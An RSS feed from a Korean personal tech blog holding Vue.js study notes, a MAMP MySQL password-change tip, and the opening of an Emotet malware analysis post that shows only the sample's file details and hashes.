<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>오늘도 난, 하하하</title>
    <link>https://eunguru.tistory.com/</link>
    <description>무채색 인간,</description>
    <language>ko</language>
    <pubDate>Sun, 17 May 2026 15:33:29 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>eunguru</managingEditor>
    <item>
      <title>Vuex</title>
      <link>https://eunguru.tistory.com/247</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;Vuex&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;모든 컴포넌트에서 접근 가능한 js파일 내에 데이터를 몰아 넣음&lt;/li&gt;
&lt;li&gt;코드가 복잡해 질 수 있어서 사용하는 컴포넌트와 데이터가 많을 때 사용&lt;/li&gt;
&lt;li&gt;주의: 컴포넌트 안에서 직접 수정 금지!!&lt;/li&gt;
&lt;li&gt;설치(vuex v4.x기준)&lt;/li&gt;
&lt;li&gt;
&lt;pre id=&quot;code_1633788803458&quot; class=&quot;shell&quot; style=&quot;display: block; overflow: auto; padding: 20px; color: #383a42; background-color: #f8f8f8; font-size: 14px; font-family: 'SF Mono', Menlo, Consolas, Monaco, monospace; border: 1px solid #ebebeb; line-height: 1.71; margin: 20px auto 0px; cursor: default; z-index: 1;&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;npm install vuex@next --save&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;js파일 만들기(보통 store.js로 만드는것이 관행)&lt;/li&gt;
&lt;li&gt;
&lt;pre id=&quot;code_1633788803458&quot; class=&quot;javascript&quot; style=&quot;display: block; overflow: auto; padding: 20px; color: #383a42; background-color: #f8f8f8; font-size: 14px; font-family: 'SF Mono', Menlo, Consolas, Monaco, monospace; border: 1px solid #ebebeb; line-height: 1.71; margin: 20px auto 0px; cursor: default; z-index: 1;&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import { createStore } from 'vuex'

// Create a new store instance.
const store = createStore({
  state () {
    return {
      // data
      name : 'Kim'
    }
  },
})

export default store;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;main.js 수정&lt;/li&gt;
&lt;li&gt;
&lt;pre id=&quot;code_1633788803458&quot; class=&quot;javascript&quot; style=&quot;display: block; overflow: auto; padding: 20px; color: #383a42; background-color: #f8f8f8; font-size: 14px; font-family: 'SF Mono', Menlo, Consolas, Monaco, monospace; border: 1px solid #ebebeb; line-height: 1.71; margin: 20px auto 0px; cursor: default; z-index: 1;&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import store from './store.js'
...
app.use(store).mount('#app')&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;vuex state&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;data 사용, data대신 state라고 부름&lt;/li&gt;
&lt;li&gt;예시&lt;/li&gt;
&lt;li&gt;
&lt;pre id=&quot;code_1633788803458&quot; class=&quot;html xml&quot; style=&quot;display: block; overflow: auto; padding: 20px; color: #383a42; background-color: #f8f8f8; font-size: 14px; font-family: 'SF Mono', Menlo, Consolas, Monaco, monospace; border: 1px solid #ebebeb; line-height: 1.71; margin: 20px auto 0px; cursor: default; z-index: 1;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;h4&amp;gt;Hello {{$store.state.name}}&amp;lt;/h4&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;vuex&amp;nbsp;mutations&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;데이터변경 시 사용하는 함수 정의, 데이터는&amp;nbsp;직접변경은 하지 말것, 나중에 버그 찾기 어려움&lt;/li&gt;
&lt;li&gt;store.js에 state 수정 방법 정의&lt;/li&gt;
&lt;li&gt;
&lt;pre id=&quot;code_1634023190685&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;..
const store = createStore({
  state () {
    return {
      name : 'Kim',
      age : 20,
    }
  },
  mutations : {
      changeName(state) {
          state.name = 'zero'
      },
      addAge(state, payload) {
          state.age += payload
      }
  }
})
..&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;데이터 변경 수정 시 store.js에 요청&lt;/li&gt;
&lt;li&gt;
&lt;pre id=&quot;code_1634023213730&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;button @click=&quot;$store.commit('changeName'); $store.commit('addAge', 10)&quot;&amp;gt;click&amp;lt;/button&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;vuex actions&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ajax 함수 호출: mutations 함수 호출 $store.commit 대신 $store.dispatch 사용&lt;/li&gt;
&lt;li&gt;
&lt;pre id=&quot;code_1634028079729&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;  &amp;lt;button @click=&quot;$store.dispatch('getData')&quot;&amp;gt;more&amp;lt;/button&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;ajax 함수 정의, 데이터 변경 함수 정의&lt;/li&gt;
&lt;li&gt;
&lt;pre id=&quot;code_1634027984577&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;  ...
  mutations: {
    setMore(state, data) {
        state.more = data
    }
  },
  //   ajax 기능 구현
  actions: {
    getData(context) {
      axios
        .get(&quot;https://codingapple1.github.io/vue/more0.json&quot;)
        .then((result) =&amp;gt; {
            console.log(result.data);
            context.commit('setMore', result.data)
        });
    },
  },&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;vuex ...mapState, ...mapMutations, ...mapActions&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;import&lt;/li&gt;
&lt;li&gt;
&lt;pre id=&quot;code_1634031085693&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import { mapActions, mapMutations, mapState } from 'vuex';&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;...mapState: $store.state.데이터명 축약
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;$store.state.데이터 축약을 위해서 compute 사용도 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;pre id=&quot;code_1634030986774&quot; class=&quot;html xml&quot; style=&quot;display: block; overflow: auto; padding: 20px; color: #383a42; background-color: #f8f8f8; font-size: 14px; font-family: 'SF Mono', Menlo, Consolas, Monaco, monospace; border: 1px solid #ebebeb; line-height: 1.71; margin: 20px auto 0px; cursor: default; z-index: 1; font-style: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; text-decoration: none;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt; &amp;lt;p&amp;gt;{{myname}} {{age}}&amp;lt;/p&amp;gt;
 ...
 computed : {
    // 값을 간직하고 있음, 컴퓨팅 파워 절약, 재렌더링 안함
    name() {
      return this.$store.state.name
    },

    // spread operator
    ...mapState(['name', 'age', 'likes']),
    ...mapState({'myname' : 'name'})
  },&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;...mapMutations: $store.commit('함수명')축약&lt;/li&gt;
&lt;li&gt;
&lt;pre id=&quot;code_1634031045767&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;button @click=&quot;changeName(); addAge(10)&quot;&amp;gt;click&amp;lt;/button&amp;gt;
 methods: {
    ...mapMutations(['changeName', 'addAge', 'setMore']),
 }&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;...mapActions: $store.dispatch('함수명')축약&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>컴&amp;amp;프로그래밍/Vue.js</category>
      <category>$store.commit</category>
      <category>$store.dispatch</category>
      <category>$store.state</category>
      <category>...mapActions</category>
      <category>...mapMutations</category>
      <category>...mapState</category>
      <category>Vuex</category>
      <category>vuex actions</category>
      <category>vuex mutations</category>
      <author>eunguru</author>
      <guid isPermaLink="true">https://eunguru.tistory.com/247</guid>
      <comments>https://eunguru.tistory.com/247#entry247comment</comments>
      <pubDate>Sat, 9 Oct 2021 23:13:43 +0900</pubDate>
    </item>
    <item>
      <title>vue.js props, slot, slot-props, custom event, mitt</title>
      <link>https://eunguru.tistory.com/246</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;정리&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;2291&quot; data-origin-height=&quot;1265&quot; data-filename=&quot;그림1.png&quot; width=&quot;581&quot; height=&quot;321&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lh4WP/btrheZdhVw4/57q5pSEowJ8OeLgdg9DeN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lh4WP/btrheZdhVw4/57q5pSEowJ8OeLgdg9DeN0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lh4WP/btrheZdhVw4/57q5pSEowJ8OeLgdg9DeN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flh4WP%2FbtrheZdhVw4%2F57q5pSEowJ8OeLgdg9DeN0%2Fimg.png&quot; data-origin-width=&quot;2291&quot; data-origin-height=&quot;1265&quot; data-filename=&quot;그림1.png&quot; width=&quot;581&quot; height=&quot;321&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;props, slot, slot-props&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;props, slot: 상위 컴포넌트의 데이터를 &amp;nbsp;하위컴포넌트에서 사용, 단 데이터 변경 불가&lt;br /&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;하위컴포넌트에서 커스텀 이벤트를 이용해서 데이터 변경&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;slot-props: 하위 컴포넌트의 데이터를 상위컴포넌트에서 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;custom event&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;한 단계 컴포넌트 차이에서 주로 props 데이터를 변경할 때 사용&lt;/li&gt;
&lt;li&gt;$emit, $event&lt;/li&gt;
&lt;li&gt;
&lt;pre id=&quot;code_1633773264267&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;textarea @input=&quot;$emit('postData', $event.target.value)&quot; ....&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;mitt&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;여러단계 컴포넌트를 거슬러 이벤트 전달 시 mitt라이브러리 설치 후 사용&lt;/li&gt;
&lt;li&gt;mitt설치&lt;/li&gt;
&lt;li&gt;
&lt;pre id=&quot;code_1633772897587&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;npm install mitt&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;main.js 수정&lt;/li&gt;
&lt;li&gt;
&lt;pre id=&quot;code_1633772917988&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import { createApp } from 'vue'
import App from './App.vue'
import mitt from 'mitt'

// 모든 컴포넌트가 mitt 사용가능
let emitter = mitt();
let app = createApp(App)
app.config.globalProperties.emitter = emitter;

// createApp(App).mount('#app')
app.mount('#app')&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;this.emitter.emit(): 이벤트 보낼때&lt;/li&gt;
&lt;li&gt;
&lt;pre id=&quot;code_1633773090725&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt; 함수(데이터) {
 	this.emitter.emit('이벤트명', 데이터)
 }&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;this.emitter.on(): 이벤트 받을때, 주로 mounter() hook에서 구현&lt;/li&gt;
&lt;li&gt;
&lt;pre id=&quot;code_1633773130846&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt; mounted() {
    this.emitter.on('이벤트명', (받은데이터)=&amp;gt;{
		....
    });
  },&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>컴&amp;amp;프로그래밍/Vue.js</category>
      <category>$emit</category>
      <category>custom event</category>
      <category>Mitt</category>
      <category>Props</category>
      <category>Slot</category>
      <category>slot-props</category>
      <category>this.emitter.emit</category>
      <category>this.emitter.on</category>
      <author>eunguru</author>
      <guid isPermaLink="true">https://eunguru.tistory.com/246</guid>
      <comments>https://eunguru.tistory.com/246#entry246comment</comments>
      <pubDate>Sat, 9 Oct 2021 18:56:07 +0900</pubDate>
    </item>
    <item>
      <title>vue.js 데이터바인딩</title>
      <link>https://eunguru.tistory.com/245</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;데이터 바인딩&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;javascript 데이터를 HTML에 꽂아넣는 문법&lt;/li&gt;
&lt;li&gt;데이터의 변경이 자주 일어 날때 사용&lt;/li&gt;
&lt;li&gt;사용하는 이유
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HTML에 하드코딩 시 변경하기 어려워 vue의 실시간 자동 렌더링 기능을 이용하기 위해 사용&lt;/li&gt;
&lt;li&gt;데이터가 변경되면 자동으로 변경되기 때문에 웹, 앱을 만들때 편함&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;사용방법&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HTML에서 사용할 때는 {{자료이름}}으로 사용&lt;/li&gt;
&lt;li&gt;속성을 나타낼때는 :속성값 = 자료이름으로 사용&lt;/li&gt;
&lt;li&gt;예시(deco, price에 데이터 바인딩 사용)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1633614435940&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;  &amp;lt;div&amp;gt;
    &amp;lt;h4 class=&quot;red&quot; :style=&quot;deco&quot;&amp;gt;test&amp;lt;/h4&amp;gt;
    &amp;lt;p&amp;gt;{{ price }}won&amp;lt;/p&amp;gt;
  &amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;추가: 속성 데이터 바인딩에서 변수 사용&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;javascript ES6 문법 중 템플릿 리터럴 사용해서 데이터 바인딩
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;백틱문자(&lt;span style=&quot;color: #24292e;&quot;&gt;`) 사용하여 문자열 내에 ${변수명}을 사용하여 변수 입력 가능&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #24292e;&quot;&gt;예시&lt;/span&gt;&lt;span style=&quot;color: #24292e;&quot;&gt;&lt;/span&gt;
&lt;pre id=&quot;code_1633614869080&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;div class=&quot;profile&quot; :style=&quot;{background : `url(${p.userImage})`}&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>컴&amp;amp;프로그래밍/Vue.js</category>
      <category>Data Binding</category>
      <category>vue.js 데이터바인딩</category>
      <category>vue.js 속성 데이터바인딩</category>
      <category>데이터바인딩</category>
      <category>속성 데이터바인딩</category>
      <category>속성에서 변수 사용</category>
      <author>eunguru</author>
      <guid isPermaLink="true">https://eunguru.tistory.com/245</guid>
      <comments>https://eunguru.tistory.com/245#entry245comment</comments>
      <pubDate>Thu, 7 Oct 2021 22:57:14 +0900</pubDate>
    </item>
    <item>
      <title>Vue Lifecycle, Lifecycle Hooks</title>
      <link>https://eunguru.tistory.com/244</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;Lifecycle Diagram&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;684&quot; data-origin-width=&quot;838&quot; data-origin-height=&quot;1388&quot; height=&quot;1133&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b3AM03/btrgCGmfwRR/C9lKwzcpmH6xajFDCMLJV1/tfile.svg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b3AM03/btrgCGmfwRR/C9lKwzcpmH6xajFDCMLJV1/tfile.svg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b3AM03/btrgCGmfwRR/C9lKwzcpmH6xajFDCMLJV1/tfile.svg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb3AM03%2FbtrgCGmfwRR%2FC9lKwzcpmH6xajFDCMLJV1%2Ftfile.svg&quot; width=&quot;684&quot; data-origin-width=&quot;838&quot; data-origin-height=&quot;1388&quot; height=&quot;1133&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Component Lifecycle&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Lifecycle: 컴포넌트는 웹 페이지에 표시가 될 때까지 일련의 step을 거침
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Create단계: 데이터만 존재하는 단계&lt;/li&gt;
&lt;li&gt;Mount단계: 사이에 있는 코드를 실제 HTML로 바꿔줌&lt;/li&gt;
&lt;li&gt;Component 생성 단계: index.html에 추가&lt;/li&gt;
&lt;li&gt;Update 단계: data변경 &amp;rarr; 컴포넌트가 재 렌더링&lt;/li&gt;
&lt;li&gt;Unmount 단계: 컴포넌트가 삭제될때&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Lifecycle Hooks: 컴포넌트가 생명 주기를 거쳐 생성되고 사라지는 데 과정 마다 hook을 걸어서 코드를 실행 할 수 있음
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버에 데이터 요청 할 때 유용: created(), mounted()에서 주로 사용&lt;/li&gt;
&lt;li&gt;그 밖에 함수들
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;beforeCreate()&lt;/li&gt;
&lt;li&gt;created()&lt;/li&gt;
&lt;li&gt;beforeMount()&lt;/li&gt;
&lt;li&gt;mounted()&lt;/li&gt;
&lt;li&gt;&amp;nbsp;&lt;br /&gt;function() vs. ()&amp;rArr;{} : 함수 안에서 this를 쓸때 function()대신 ()&amp;rArr;{}로 쓸 것&lt;/li&gt;
&lt;li id=&quot;code_1633343833375&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;mounted() {
	setTimeout(()=&amp;gt; {
		..code..
	}, 1000);
}​&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;beforeUpdate()&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;updated()&lt;/li&gt;
&lt;li&gt;beforeUnmount()&lt;/li&gt;
&lt;li&gt;unmounted()&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>컴&amp;amp;프로그래밍/Vue.js</category>
      <category>Lifecycle</category>
      <category>Lifecycle Hooks</category>
      <category>vue lifecycle</category>
      <category>Vue Lifecycle Hooks</category>
      <category>Vue 라이프사이클</category>
      <category>Vue 라이프사이클 훅</category>
      <category>라이프사이클 훅</category>
      <category>뷰 라이프사이클</category>
      <category>뷰 라이프사이클 훅</category>
      <author>eunguru</author>
      <guid isPermaLink="true">https://eunguru.tistory.com/244</guid>
      <comments>https://eunguru.tistory.com/244#entry244comment</comments>
      <pubDate>Mon, 4 Oct 2021 19:34:26 +0900</pubDate>
    </item>
    <item>
      <title>MAMP에서 MySQL 패스워드 변경</title>
      <link>https://eunguru.tistory.com/243</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;APM&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Apache: Web Server&lt;/li&gt;
&lt;li&gt;PHP: Server Side Script&lt;/li&gt;
&lt;li&gt;MySQL: RDBMS&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;OS별 APM&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Windows: APMSetup&lt;/li&gt;
&lt;li&gt;Linux: LAPM&lt;/li&gt;
&lt;li&gt;MAC: MAMP&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;MAMP에서 MySQL 패스워드 변경하기&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;649&quot; data-origin-height=&quot;526&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dD8rLS/btrgi1hTDNc/qHkIeLI2bIMnjoZ4aGKEJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dD8rLS/btrgi1hTDNc/qHkIeLI2bIMnjoZ4aGKEJk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dD8rLS/btrgi1hTDNc/qHkIeLI2bIMnjoZ4aGKEJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdD8rLS%2Fbtrgi1hTDNc%2FqHkIeLI2bIMnjoZ4aGKEJk%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;649&quot; data-origin-height=&quot;526&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;패스워드 수정 후 phpMyAdmin 접속 불가 문제 해결&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;phpMyAdmin(MySQL server not running). 문제 발생&lt;br /&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqtBmj/btrgg4Uapmb/9pzVVhU9AtLUJFwtDJAgBk/img.png&quot; width=&quot;600&quot; height=&quot;397&quot; /&gt;&lt;/li&gt;
&lt;li&gt;phpMyAdmin config.ini.php 파일 수정
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;phpMyAdmin 경로: /Applications/MAMP/bin/phpMyAdmin&lt;/li&gt;
&lt;li&gt;config.ini.php 수정(변경전: 'root', 변경후: 'mysql에서 변경한 패스워드')&lt;/li&gt;
&lt;li&gt;
&lt;pre id=&quot;code_1632821364911&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$cfg['Servers'][$i]['password']      = '패스워드';          // MySQL password (only needed
                                                    // with 'config' auth_type)&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;서버 재시작&lt;/li&gt;
&lt;li&gt;문제해결&lt;br /&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dbAhXP/btrgdEVK9Ed/eDCY1AaILH0kqgrKKPXLmK/img.png&quot; width=&quot;600&quot; height=&quot;396&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>컴&amp;amp;프로그래밍/Etc, Install</category>
      <category>MAC APM</category>
      <category>MAMP config.ini.php수정</category>
      <category>MAMP MySQL 패스워드 변경</category>
      <category>MAMP phpMyAdmin</category>
      <category>MySQL 패스워드 변경</category>
      <author>eunguru</author>
      <guid isPermaLink="true">https://eunguru.tistory.com/243</guid>
      <comments>https://eunguru.tistory.com/243#entry243comment</comments>
      <pubDate>Tue, 28 Sep 2021 16:47:29 +0900</pubDate>
    </item>
    <item>
      <title>Malware sample(Emotet) Analysis</title>
      <link>https://eunguru.tistory.com/242</link>
      <description>&lt;h1&gt;Malware sample(Emotet) Analysis&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 분석파일 &amp;amp; 분석환경&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;분석파일&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일명: 2c56c3a464728d07356992b8a9105fea2a9321e2572ddf18db89a74aed4e8c1f.doc&lt;/li&gt;
&lt;li&gt;파일타입: Microsoft Compound(MS Office 97-2003 or MSI etc.)&lt;/li&gt;
&lt;li&gt;파일크기: 92KB&lt;/li&gt;
&lt;li&gt;파일해시값
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;MD5: 4ECD8072C33A82275D9AB3678E6457CB&lt;/li&gt;
&lt;li&gt;SHA1: 7DE95CB762EB9A6C0911D054FC4ADAB529185F41&lt;/li&gt;
